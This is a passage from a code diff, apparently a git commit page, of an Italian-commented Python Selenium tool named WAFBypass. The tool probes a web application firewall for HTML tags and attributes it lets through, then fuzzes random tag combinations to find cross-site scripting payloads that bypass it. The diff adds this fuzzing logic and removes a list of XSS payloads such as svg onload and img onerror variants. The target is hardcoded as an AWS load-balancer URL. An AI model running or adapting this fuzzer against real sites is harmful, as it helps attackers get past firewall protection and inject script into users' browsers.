 | 
			
		||||
        except KeyboardInterrupt:
 | 
			
		||||
            self.driver.close()
 | 
			
		||||
            exit(0)
 | 
			
		||||
 | 
			
		||||
    def identify_unfiltered_tags(self):
 | 
			
		||||
        """
 | 
			
		||||
        Identifica i tag che non sono filtrati dal WAF
 | 
			
		||||
        """
 | 
			
		||||
        print("[*] Identifying unfiltered tags:")
 | 
			
		||||
        try:
 | 
			
		||||
            for tag_obj in Tags: #TODO aggiungere lista tag
 | 
			
		||||
                tag_str = f"<{tag_obj.name}></{tag_obj.name}>" if not tag_obj.self_closing else f"<{tag_obj.name}/>"
 | 
			
		||||
                encoded = urlencode({"param2": tag_str})
 | 
			
		||||
                url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                is403, _ = self.navigate(url)
 | 
			
		||||
 | 
			
		||||
                if not is403:
 | 
			
		||||
                    print(f"   [+] {tag_obj.name}")
 | 
			
		||||
                    self.unfiltered_tags.append(tag_obj)
 | 
			
		||||
 | 
			
		||||
        except KeyboardInterrupt:
 | 
			
		||||
            self.driver.close()
 | 
			
		||||
            exit(0) 
 | 
			
		||||
 | 
			
		||||
    def check_connection(self):
 | 
			
		||||
        """
 | 
			
		||||
        Verifica della possibilità di connessione all'URL.
 | 
			
		||||
        """
 | 
			
		||||
        try:
 | 
			
		||||
            self.driver.get(self.url.geturl())
 | 
			
		||||
            return True
 | 
			
		||||
@ -31,6 +96,9 @@ class WAFBypass():
 | 
			
		||||
            return False
 | 
			
		||||
 | 
			
		||||
    def wait_for_pageload(self):
 | 
			
		||||
        """
 | 
			
		||||
        Delay per attendere che la pagina web sia completamente caricata.
 | 
			
		||||
        """
 | 
			
		||||
        try:
 | 
			
		||||
            WebDriverWait(self.driver, 4).until(
 | 
			
		||||
                lambda driver: driver.execute_script("return document.readyState") == "complete")
 | 
			
		||||
@ -38,53 +106,133 @@ class WAFBypass():
 | 
			
		||||
            raise Exception("Page Load Error")
 | 
			
		||||
 | 
			
		||||
    def get_page_title(self):
 | 
			
		||||
        """
 | 
			
		||||
        Ritorna il titolo della pagina corrente
 | 
			
		||||
        """
 | 
			
		||||
        return self.driver.title
 | 
			
		||||
 | 
			
		||||
    @property
 | 
			
		||||
    def is_403(self):
 | 
			
		||||
        """
 | 
			
		||||
        Verifica se la pagina è 403 analizzando il titolo.
 | 
			
		||||
        """
 | 
			
		||||
        return self.driver.title == "403 Forbidden"
 | 
			
		||||
 | 
			
		||||
    @property
 | 
			
		||||
    def triggered_xss(self):
 | 
			
		||||
        """
 | 
			
		||||
        Verifica se l'XSS è stato eseguito.
 | 
			
		||||
        """
 | 
			
		||||
        return self.driver.execute_script("return window.alert_trigger")
 | 
			
		||||
 | 
			
		||||
    def navigate(self, url):
 | 
			
		||||
        """
 | 
			
		||||
        Naviga verso un URL specifico e controlla se si verifica un errore 403 o un'esecuzione di XSS.
 | 
			
		||||
        """
 | 
			
		||||
        self.driver.get(url)
 | 
			
		||||
        self.wait_for_pageload()
 | 
			
		||||
 | 
			
		||||
        bypass = False
 | 
			
		||||
        is403 = False
 | 
			
		||||
 | 
			
		||||
        if self.is_403:
 | 
			
		||||
            bypass = False
 | 
			
		||||
            is403 = True
 | 
			
		||||
        else:
 | 
			
		||||
            bypass = True
 | 
			
		||||
            is403 = False
 | 
			
		||||
 | 
			
		||||
        bypass = bypass and self.triggered_xss
 | 
			
		||||
        triggerxss = self.triggered_xss
 | 
			
		||||
 | 
			
		||||
        return bypass
 | 
			
		||||
        return (is403, triggerxss)
 | 
			
		||||
 | 
			
		||||
    def run_fuzz(self):
 | 
			
		||||
        payloads = [
 | 
			
		||||
            "<svg{FUZZ}onload=alert(0)>",
 | 
			
		||||
            "<svg\{FUZZ}onload=alert(0)>",
 | 
			
		||||
            "\u202e<img src=0 alert=x ''!=//{FUZZ}onerror=alert(0)\na>",
 | 
			
		||||
            """<<!--scrip<scrip --><\nscrip t="<img\nonerror{FUZZ}="alert(0)//"/ src="x" script/>alert(0)<script=/>""",
 | 
			
		||||
        ]
 | 
			
		||||
        """
 | 
			
		||||
        Fuzzing solo su attributi non filtrati.
 | 
			
		||||
        """
 | 
			
		||||
        print("[*] Start fuzzing:")
 | 
			
		||||
        try:
 | 
			
		||||
            for i in range(0, 0x10FFFF):
 | 
			
		||||
                for p in payloads:
 | 
			
		||||
                    encoded = urlencode(
 | 
			
		||||
                        {"param2": p.replace("{FUZZ}", chr(i))})
 | 
			
		||||
                    print("Trying payload: ", encoded, f"({hex(i)}/0xffff)")
 | 
			
		||||
                    url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                    bypassed = self.navigate(url)
 | 
			
		||||
                    if bypassed:
 | 
			
		||||
                        print("Bypassed with payload: ", encoded)
 | 
			
		||||
                        break
 | 
			
		||||
            for attr in self.unfiltered_attributes:
 | 
			
		||||
                # print(f"[*] Testing {attr.name} attribute {attr}")
 | 
			
		||||
                encoded = urlencode({"param2": f"{attr}"})
 | 
			
		||||
                url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                # print(url)
 | 
			
		||||
                _, trigger = self.navigate(url)
 | 
			
		||||
        except KeyboardInterrupt:
 | 
			
		||||
            self.driver.close()
 | 
			
		||||
            exit(0)
 | 
			
		||||
 | 
			
		||||
    def run_fuzz2(self, num_iterations=100000):
 | 
			
		||||
        """
 | 
			
		||||
        Esegue un fuzzing personalizzato utilizzando solo tag e attributi che non sono stati filtrati.
 | 
			
		||||
        """
 | 
			
		||||
        print("\n[*] Start fuzzing:")
 | 
			
		||||
        try:
 | 
			
		||||
            for _ in range(num_iterations):
 | 
			
		||||
                tag_obj = random.choice(self.unfiltered_tags)
 | 
			
		||||
                attr = random.choice(self.unfiltered_attributes)
 | 
			
		||||
 | 
			
		||||
                # Genera numero random di figli (child) e attributi per ciascun figlio
 | 
			
		||||
                num_child = random.randint(5, 10)
 | 
			
		||||
                children = []
 | 
			
		||||
                
 | 
			
		||||
                for _ in range(num_child):
 | 
			
		||||
                    child_tag = random.choice(self.unfiltered_tags)
 | 
			
		||||
                    child_attr = random.choice(self.unfiltered_attributes)
 | 
			
		||||
                    
 | 
			
		||||
                    if child_tag.self_closing:
 | 
			
		||||
                        children.append(f"<{child_tag.name} {child_attr}/>")
 | 
			
		||||
                    else:
 | 
			
		||||
                        children.append(f"<{child_tag.name} {child_attr}></{child_tag.name}>")
 | 
			
		||||
                
 | 
			
		||||
                # Crea la stringa del tag HTML
 | 
			
		||||
                if tag_obj.self_closing:
 | 
			
		||||
                    tag_str = f"<{tag_obj.name} {attr}/>"
 | 
			
		||||
                else:
 | 
			
		||||
                    child_str = ''.join(children)
 | 
			
		||||
                    tag_str = f"<{tag_obj.name} {attr}>{child_str}</{tag_obj.name}>"
 | 
			
		||||
 | 
			
		||||
                # Codifica e invia la richiesta
 | 
			
		||||
                encoded = urlencode({"param2": tag_str})
 | 
			
		||||
                url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                
 | 
			
		||||
                is403, triggered = self.navigate(url)
 | 
			
		||||
                
 | 
			
		||||
                if not is403 and triggered:
 | 
			
		||||
                    print(f"[*] Bypass found: {tag_str}")
 | 
			
		||||
                    # if args.link:
 | 
			
		||||
                    print(f"    {url}")
 | 
			
		||||
 | 
			
		||||
                
 | 
			
		||||
        except KeyboardInterrupt:
 | 
			
		||||
            self.driver.close()
 | 
			
		||||
            exit(0)
 | 
			
		||||
 | 
			
		||||
# Creazione dell'istanza della classe.
 | 
			
		||||
w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com")
 | 
			
		||||
w.run_fuzz()
 | 
			
		||||
 | 
			
		||||
# Avvio identificazione di attributi e tag validi
 | 
			
		||||
 | 
			
		||||
w.identify_unfiltered_attributes()
 | 
			
		||||
w.identify_unfiltered_tags()
 | 
			
		||||
w.run_fuzz2()
 | 
			
		||||
 | 
			
		||||
'''
 | 
			
		||||
if __name__ == '__main__':
 | 
			
		||||
    parser = argparse.ArgumentParser(description="WAF Bypass Fuzzer")
 | 
			
		||||
    parser.add_argument('-u', '--url', required=True, help='Target URL')
 | 
			
		||||
    parser.add_argument('-p', '--param', required=True, help='Target Parameter')
 | 
			
		||||
    parser.add_argument('-i', '--iterations', type=int, help='Number of iterations (default: infinite)')
 | 
			
		||||
    parser.add_argument('-l', '--link', action='store_true', help='Provide full request link')
 | 
			
		||||
 | 
			
		||||
    args = parser.parse_args()
 | 
			
		||||
    
 | 
			
		||||
    w = WAFBypass(args.url)
 | 
			
		||||
 | 
			
		||||
    if args.iterations:
 | 
			
		||||
        w.run_fuzz2(num_iterations=args.iterations)
 | 
			
		||||
    else:
 | 
			
		||||
        # loop infinito se '-i' non è specificato
 | 
			
		||||
        while True:
 | 
			
		||||
            w.identify_unfiltered_attributes()
 | 
			
		||||
            w.identify_unfiltered_tags()
 | 
			
		||||
            w.run_fuzz2()
 | 
			
		||||
 | 
			
		||||
'''
 | 
			
		||||
 | 
			
		||||
		Loading…
	
		Reference in New Issue
	
	Block a user